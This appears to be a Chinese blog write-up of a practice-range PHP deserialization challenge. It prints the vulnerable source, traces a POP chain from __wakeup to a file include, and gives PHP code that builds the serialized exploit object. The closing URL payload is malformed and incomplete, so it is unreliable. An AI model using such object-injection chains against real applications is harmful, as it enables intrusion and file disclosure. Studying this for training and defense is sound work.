• 记一次php反序列化漏洞中的POPchain和POC构造实战


    来自于橙子科技反序列化靶场

    源代码如下:

    
    //flag is in flag.php
    highlight_file(__FILE__);
    error_reporting(0);
    class Modifier {
        private $var;
        public function append($value)
        {
            include($value);
            echo $flag;
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public function __toString(){
            return $this->str->source;
        }
        public function __wakeup(){
            echo $this->source;
        }
    }
    
    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    
    if(isset($_GET['pop'])){
        unserialize($_GET['pop']);
    }
    ?>
    

    第一步:找链尾

    我们的目的是得到flag,直接找flag这个关键词,发现:

    class Modifier {
        private $var;
        public function append($value)
        {
            include($value);
            echo $flag;
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    

    注意echo $flag;,根据提示,flag存在于flag.php中,那我们需要做的是将这个文件include进来;
    注意到include($value);显然这里的$value需要赋值为flag.php。完成这一步的前提是触发append函数。接下来的问题是,如何触发append函数。

    第二步:如何触发append函数

    向下寻找,发现__invoke魔术方法,这个魔术方法的触发条件是对象被当成函数一样调用,这样的话就会将var作为append的参量并触发append函数。

    第三步:如何触发__invoke()函数

    既然是要求对象被当成函数一样调用,纳闷我们就要找类似于_fun() _这样的东西。继续看代码,发现:

    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    

    在__get方法中,有return $function();我们只要将$function的值赋为类Modifier的一个实例即可触发类Modifier中的__invoke方法。

    第四步:如何触发__get()方法

    了解到__get()魔术方法是用于从不可访问的属性读取数据,简单说来就是当程序调用类里面不存在的对象的时候会调用__get()方法。还是继续看程序,最好是找有连续调用的地方,方便我们进行赋值。注意到:

    class Show{
        public $source;
        public $str;
        public function __toString(){
            return $this->str->source;
        }
        public function __wakeup(){
            echo $this->source;
        }
    }
    

    其中line5中,出现了连续调用return $this->str->source;我们可以将$str的值赋为类Test的一个实例,显然类Test中没有source对象,这样的话就能触发类中的__get方法了。

    第五步:如何触发__toString()方法

    __toString() 把类当作字符串使用时触发,返回值需要为字符串。
    还是在源代码里面开找,找和字符串相关的语句。发现:

    class Show{
        public $source;
        public $str;
        public function __toString(){
            return $this->str->source;
        }
        public function __wakeup(){
            echo $this->source;
        }
    }
    

    其中__wakeup()方法中,echo $this->source;。只要我们将source的值赋为类Show的一个实例即可调用类Show中的__toString()方法。

    第六步(链首):如何触发__wakeup()方法

    最简单的一集,使用unserialize()时触发

    使用反推法整理完这六步之后,下面开始构造POC
    首先对源代码进行处理,如下:

    
    class Modifier {
        private $var;
    }
    
    class Show{
        public $source;
        public $str;
    }
    
    class Test{
        public $p;
    }
    ?>
    

    删去不必要的方法和语句。
    然后进行popchain构造。

    
    class Modifier {
        private $var="flag.php";
    }
    
    class Show{
        public $source;
        public $str;
    }
    
    class Test{
        public $p;
    }
    $mod=new Modifier();
    $show=new Show();
    $test=new Test();
    
    $test->p=$mod;
    $show->str=$test;
    $show->source=$show;
    echo serialize($show);
    ?>
    

    得到payload
    ?pop={s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

  • 相关阅读:
    Flink SQL自定义表值函数(Table Function)
    850. 矩形面积 II
    应用程序生成器:App Builder 2023
    独立站FP收款黑科技来啦!再也不用担心账户被封了~
    2022年6月电子学会Python等级考试试卷(四级)答案解析
    Web核心
    PC端 VUE 官网项目 前端开发 响应式布局(宽+高 等比例缩放)
    Guava中这些Map的骚操作,让我的代码量减少了50%
    【每日一题】餐厅过滤器
    squid代理服务器(传统代理、透明代理、反向代理、ACL、日志分析)
  • 原文地址:https://www.cnblogs.com/Tperm/p/18124786